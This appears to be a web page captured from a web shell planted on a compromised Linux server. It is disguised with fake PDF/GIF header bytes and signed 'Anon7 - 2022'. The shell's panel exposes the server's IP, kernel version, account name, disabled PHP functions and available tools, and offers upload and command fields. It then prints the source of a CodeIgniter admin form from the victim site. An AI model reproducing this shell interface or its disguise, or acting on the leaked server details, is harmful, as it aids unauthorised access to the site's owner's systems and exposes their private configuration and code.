%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.164
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin/quality_management_form.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');?>
<?php $this->load->view('backend/Common/Head'); ?>
<?php $this->load->view('backend/Common/Header'); ?>
<?php $this->load->view('backend/Common/Sidebar'); ?>
<?php $this->load->view('backend/Common/Menu'); ?>
<style type="text/css">
	.sortable { list-style-type: none; margin: 0; padding: 0; width: 100%; }
	.sortable li { margin: 0 3px 3px 3px; padding: 0.4em; padding-left: 1.5em; height: 18px; }
	.sortable li>span { position: absolute; margin-left: -1.3em; margin-top:.4em; }
</style>
<script type="text/javascript">
//<![CDATA[

$(document).ready(function() {
	$(".sortable").sortable();
	$(".sortable > span").disableSelection();
	//if the image already exists (phpcheck) enable the selector
        
	<?php if($id) : ?>
	//options related
	var ct	= $('#option_list').children().size();
	//create_sortable();
	set_accordion();
	
	// set initial count
	option_count = <?php echo count($product_options); ?>;
	
	<?php endif; ?>
	
	$( ".add_option" ).button().click(function(){
		add_option($(this).attr('rel'));
	});
	$( "#add_buttons" ).buttonset();
	
	photos_sortable();
});

CostperSqftOption=<?php echo $costpersqft?> ;
function add_product_image(data)
{
	p	= data.split('.');
	
	var photo = '<?php add_image("'+p[0]+'", "'+p[0]+'.'+p[1]+'", '', '');?>';
	$('#gc_photos').append(photo);
	$('#gc_photos').sortable('destroy');
	photos_sortable();
	
	$('.button').button();
}

function remove_image(img)
{
	if(confirm('<?php echo lang('confirm_remove_image');?>'))
	{
		var id	= img.attr('rel')
		$('#gc_photo_'+id).remove();
	}
}

function photos_sortable()
{
	$('#gc_photos').sortable({	
		handle : '.gc_thumbnail',
		items: '.gc_photo',
		axis: 'y',
		scroll: true
	});
}

function add_option(type)
{
	
	if(jQuery.trim($('#option_name').val()) != '')
	{
		//increase option_count by 1
		option_count++;
		
		$('#options_accordion').append('<?php add_option("'+$('#option_name').val()+'", "'+option_count+'", "'+type+'");?>');
		
		
		//eliminate the add button if this is a text based option
		if(type == 'textarea' || type == 'textfield')
		{
			$('#add_item_'+option_count).remove();
			
		}
		
		add_item(type, option_count);
		
		//reset the option_name field
		$('#option_name').val('');
		reset_accordion();
		
	}
	else
	{
		alert('<?php echo lang('alert_must_name_option');?>');
	}
	
}

function add_csqftoption()
{

        // Add Width
        //increase option_count by 1
        option_count++;

        $('#options_accordion').append('<?php add_option('Width(in Inches)', "'+option_count+'", "textfield",'true');?>');


        //eliminate the add button if this is a text based option
        $('#add_item_'+option_count).remove();
    

        add_csqftitem("Width","5" ,option_count);


        // Add Height
        //increase option_count by 1
        option_count++;

        $('#options_accordion').append('<?php add_option('Height(in Inches)', "'+option_count+'", "textfield",'true');?>');


        //eliminate the add button if this is a text based option
        $('#add_item_'+option_count).remove();

        add_csqftitem("Height","6" ,option_count);

        //reset the option_name field
        $('#option_name').val('');
        reset_accordion();
		
}

function add_csqftitem(name,val, id)
{
	
	var count = $('#option_items_'+id+'>li').size()+1;
	
	append_html = '';
	
	append_html += '<div style="margin:2px"><span><?php echo lang('name');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][name]" value="'+name+'" /> '+
	'<span><?php echo lang('value');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][value]" value="'+val+'" /> '+
	'<span><?php echo lang('weight');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][weight]" value="" /> '+
	'<span><?php echo lang('price');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][price]" value="" />';

	append_html += ' <span><?php echo lang('limit');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][limit]" value="" />';

	append_html += '</div> ';
	
	
	$('#option_items_'+id).append(append_html);	
	
	$(".sortable").sortable();
	$(".sortable > span").disableSelection();
	
	
}



function add_item(type, id)
{
	
	var count = $('#option_items_'+id+'>li').size()+1;
	
	append_html = '';
	
	if(type!='textfield' && type != 'textarea')
	{
		append_html = append_html + '<li id="value-'+id+'-'+count+'"><span class="ui-icon ui-icon-arrowthick-2-n-s"></span><a onclick="if(confirm(\'<?php echo lang('confirm_remove_value');?>\')) $(\'#value-'+id+'-'+count+'\').remove()" class="ui-state-default ui-corner-all" style="float:right;"><span class="ui-icon ui-icon-circle-minus"></span></a>';
	}
	
	append_html += '<div style="margin:2px"><span><?php echo lang('name');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][name]" value="" /> '+
	'<span><?php echo lang('value');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][value]" value="" /> '+
	'<span><?php echo lang('weight');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][weight]" value="" /> '+
	'<span><?php echo lang('price');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][price]" value="" />';
	
	if(type == 'textfield')
	{
		append_html += ' <span><?php echo lang('limit');?>: </span> <input class="req gc_tf2" type="text" name="option['+id+'][values]['+count+'][limit]" value="" />';
	}

	append_html += '</div> ';
	
	if(type!='textfield' && type != 'textarea')
	{
		append_html += '</li>';
	}
	
	
	$('#option_items_'+id).append(append_html);	
	
	$(".sortable").sortable();
	$(".sortable > span").disableSelection();
	
	
}

function remove_option(id)
{
	if(confirm('<?php echo lang('confirm_remove_option');?>'))
	{
		$('#option-'+id).remove();
		
		option_count --;
		
		reset_accordion();
	}
}

function reset_accordion()
{
	$( "#options_accordion" ).accordion('destroy');
	$('.option_item_form').sortable('destroy');
	set_accordion();
}

function set_accordion(){
	
	var stop = false;
	$( "#options_accordion h3" ).click(function( event ) {
		if ( stop ) {
			event.stopImmediatePropagation();
			event.preventDefault();
			stop = false;
		}
	});
	
	$( "#options_accordion" ).accordion({
		autoHeight: false,
		active: option_count-1,
		header: "> div > h3"
	}).sortable({
		axis: "y",
		handle: "h3",
		stop: function() {
			stop = true;
		}
	});
	

	$('.option_item_form').sortable({
		axis: 'y',
		handle: 'span',
		stop: function() {
			stop = true;
		}
	});
	
	
}
function delete_product_option(id)
{
	//remove the option if it exists. this function is also called by the lightbox when an option is deleted
	$('#options-'+id).remove();
}
//]]>
</script>
<div class="right_col" role="main">

<?php echo form_open($this->config->item('admin_folder').'/quality_management/form/'.$id, 'id="product_form"'); ?>
<div class="button_set">
	<input name="submit" type="submit" value="Save Post" class="btn btn-primary pull-right" />
</div>
<div class="clear-fix" style="clear: both;"></div>

<div class="" role="tabpanel" data-example-id="togglable-tabs">
	<ul id="myTab" class="nav nav-tabs bar_tabs" role="tablist">
		<li role="presentation" class="active"><a href="#gc_product_info" role="tab" data-toggle="tab" aria-expanded="true"><?php echo lang('description');?></a></li>
		<li role="presentation" class=""><a href="#gc_product_seo" role="tab" data-toggle="tab" aria-expanded="false"><?php echo lang('seo');?></a></li>
		<li role="presentation" class=""><a href="#gc_product_photos" role="tab" data-toggle="tab" aria-expanded="false"><?php echo lang('images');?></a></li>
	</ul>
	
	<div id="myTabContent" class="tab-content">
	<div id="gc_product_info" class="tab-pane fade active in" id="tab_content1" aria-labelledby="home-tab">
		<div class="item form-group">

		<label class="control-label col-md-3 col-sm-3 col-xs-12" for="name">
                        <?php echo lang('name');?>
                        <span class="required">*</span>
                        </label>
		<?php
		$data	= array('id'=>'name', 'name'=>'name', 'value'=>set_value('name', $name), 'class'=>'form-control col-md-7 col-xs-12');
		echo form_input($data);
		?>
		</div>
		<br><br><br>
		<div class="item form-group">

		<label class="control-label col-md-3 col-sm-3 col-xs-12" for="name">
                        <?php echo lang('Sequence No');?>
                        <span class="required">*</span>
                        </label>
		<?php
		$data	= array('id'=>'sequence', 'name'=>'sequence', 'value'=>set_value('sequence', $sequence), 'class'=>'form-control col-md-7 col-xs-12');
		echo form_input($data);
		?>
		</div>
		<br><br><br>
		 <div style="margin-top: 20px"></div>
		<label for="weight"><?php echo 'Body Text';?> </label>	
		<div class="gc_field gc_tinymce">
		<?php
		$data	= array('id'=>'description', 'name'=>'description', 'class'=>'tinyMCE', 'value'=>set_value('description', $description), 'class'=>'form-control col-md-7 col-xs-12');
		echo form_textarea($data);
		?>
		</div>
		<div class="button_set">
			<input type="button" onclick="toggleEditor('description'); return false;" value="Toggle WYSIWYG" />
		</div>
        
        
	</div>
	
	<div id="gc_product_seo" class="tab-pane fade" id="tab_content2" aria-labelledby="profile-tab">
    
    	
		<div class="gc_field2">
		<label for="slug"><?php echo lang('slug');?> </label>
		<?php
		$data	= array('id'=>'slug', 'name'=>'slug', 'value'=>set_value('slug', $slug), 'class'=>'form-control col-md-7 col-xs-12');
		echo form_input($data);
		?>
		</div>
     
		<br><br>
		
		<div class="">
		<label for="enabled"><?php echo lang('enabled');?> </label>
		<?php
		 	$options = array(	 '1'	=> lang('yes')
								,'0'	=> lang('no')
								);

			echo form_dropdown('enabled',  $options,  set_value('enabled',$enabled), 'class="form-control col-md-7 col-xs-12"');
		?>
		</div>
		<div class="gc_field2">
		<label for="seo_title"><?php echo lang('seo_title');?> </label>
		<?php
		$data	= array('id'=>'seo_title', 'name'=>'seo_title', 'value'=>set_value('seo_title', $seo_title), 'class'=>'form-control col-md-7 col-xs-12');
		echo form_input($data);
		?>
		</div>
		
		<div class="gc_field">
		<label><?php echo lang('meta');?></label> <small><?php echo lang('meta_example');?></small>
		<?php
		$data	= array('id'=>'meta', 'name'=>'meta', 'value'=>set_value('meta', html_entity_decode($meta)), 'class'=>'form-control col-md-7 col-xs-12');
		echo form_textarea($data);
		?>
		</div>
	</div>

	<div id="gc_product_options" class="tab-pane fade" id="tab_content2" aria-labelledby="profile-tab">
	
		
		
	</div>
	
	<div id="gc_product_photos" class="tab-pane fade" id="tab_content2" aria-labelledby="profile-tab">
		<div class="gc_segment_content">
			<iframe src="<?php echo site_url($this->config->item('admin_folder').'/products/product_image_form');?>" style="height:75px; border:0px;">
			</iframe>
			<div id="gc_photos">
			<?php
			
			foreach($images as $photo_id=>$photo_obj)
			{
				if(!empty($photo_obj))
				{
					$photo = (array)$photo_obj;
					add_image($photo_id, $photo['filename'], $photo['alt'], $photo['caption'], isset($photo['primary']));
				}
				
			}
			?>
			</div>
		</div>
	</div>
</div>
</div>

</form>

<?php
function add_image($photo_id, $filename, $alt, $caption, $primary=false)
{	ob_start();
	?>
	<div class="gc_photo" id="gc_photo_<?php echo $photo_id;?>">
		<table cellspacing="0" cellpadding="0">
			<tr>
				<td style="width:81px;padding-right:10px;" rowspan="2">
					<input type="hidden" name="images[<?php echo $photo_id;?>][filename]" value="<?php echo $filename;?>"/>
					<img class="gc_thumbnail" src="<?php echo base_url('uploads/images/thumbnails/'.$filename);?>"/>
				</td>
				<td>
					<input type="radio" name="primary_image" value="<?php echo $photo_id;?>" <?php if($primary) echo 'checked="checked"';?>/> <?php echo lang('primary');?>
					
					<a onclick="return remove_image($(this));" rel="<?php echo $photo_id;?>" class="button" style="float:right; font-size:9px;"><?php echo lang('remove');?></a>
				</td>
			</tr>
			<tr>
				<td>
					<table>
						<tr>
							<td><?php echo lang('alt_tag');?></td>
							<td><input name="images[<?php echo $photo_id;?>][alt]" value="<?php echo $alt;?>" class="gc_tf2"/></td>
						</tr>
						<tr>
							<td><?php echo lang('caption');?></td>
							<td><textarea name="images[<?php echo $photo_id;?>][caption]"><?php echo $caption;?></textarea></td>
						</tr>
					</table>
				</td>
			</tr>
		</table>
	</div>
	</div>
	<?php
	$stuff = ob_get_contents();

	ob_end_clean();
	
	echo replace_newline($stuff);
}

function add_option($name, $option_id, $type,$required='false')
{
	ob_start();
	?>
	<div id="option-<?php echo $option_id;?>">
		<h3><a href="#"><?php echo $type.' > '.$name; ?></a></h3>
		<div style="text-align: left">
			<?php echo lang('option_name');?>
			<span style="float:right">
			
			<a onclick="remove_option(<?php echo $option_id ?>)" class="ui-state-default ui-corner-all" style="float:right;"><span class="ui-icon ui-icon-circle-minus"></span></a></span>
			<input class="input gc_tf1" type="text" name="option[<?php echo $option_id;?>][name]" value="<?php echo $name;?>"/>
			<input type="hidden" name="option[<?php echo $option_id;?>][type]" value="<?php echo $type;?>" />
			<input class="checkbox" type="checkbox" name="option[<?php echo $option_id;?>][required]" value="1" <?php if('true' == $required) echo 'checked="checked"'; ?>/> <?php echo lang('required');?>
			
	
			<button id="add_item_<?php echo $option_id;?>" type="button" rel="<?php echo $type;?>"onclick="add_item($(this).attr(\'rel\'), <?php echo $option_id;?>);"><?php echo lang('add_item');?></button>
		  
			<div class="option_item_form" >
				<ul class="sortable" id="option_items_<?php echo $option_id;?>">
				
				</ul>
			</div>
		</div>
	</div>
	<?php
	$stuff = ob_get_contents();

	ob_end_clean();
	
	echo replace_newline($stuff);
}
//this makes it easy to use the same code for initial generation of the form as well as javascript additions
function replace_newline($string) {
  return (string)str_replace(array("\r", "\r\n", "\n", "\t"), ' ', $string);
}
?>
<script type="text/javascript">
//<![CDATA[

var option_count	= $('#options_accordion>h3').size();
	
var count = <?php echo $count;?>;

function add_related_product()
{

	//if the related product is not already a related product, add it
	if($('#related_product_'+$('#product_list').val()).length == 0 && $('#product_list').val() != null)
	{
		<?php $new_item	 = str_replace(array("\n", "\t", "\r"),'',related_items("'+$('#product_list').val()+'", "'+$('#product_item_'+$('#product_list').val()).html()+'"));?>
		var related_product = '<?php echo $new_item;?>';
		$('#product_items_container').append(related_product);
		$('.list_buttons').buttonset();
	}
	else
	{
		if($('#product_list').val() == null)
		{
			alert('<?php echo lang('alert_select_product');?>');
		}
		else
		{
			alert('<?php echo lang('alert_product_related');?>');
		}
	}
}

function remove_related_product(id)
{
	if(confirm('<?php echo lang('confirm_remove_related');?>?'))
	{
		$('#related_product_'+id).remove();
	}
}

function photos_sortable()
{
	$('#gc_photos').sortable({	
		handle : '.gc_thumbnail',
		items: '.gc_photo',
		axis: 'y',
		scroll: true
	});
}

//]]>
</script>


<?php
function related_items($id, $name) {
	return '
			<tr id="related_product_'.$id.'" class="gc_row">
				<td class="gc_cell_left" >
					<input type="hidden" name="related_products[]" value="'.$id.'"/>
					'.$name.'</td>
				<td class="gc_cell_right list_buttons">
					<a href="#" onclick="remove_related_product('.$id.'); return false;">'.lang('remove').'</a>
				</td>
			</tr>
		';
 } ?>
 <?php $this->load->view('backend/Common/Footer'); ?>
  
 </div>
 </div>
 <?php $this->load->view('backend/Common/Script'); ?>

Anon7 - 2022
SCDN GOK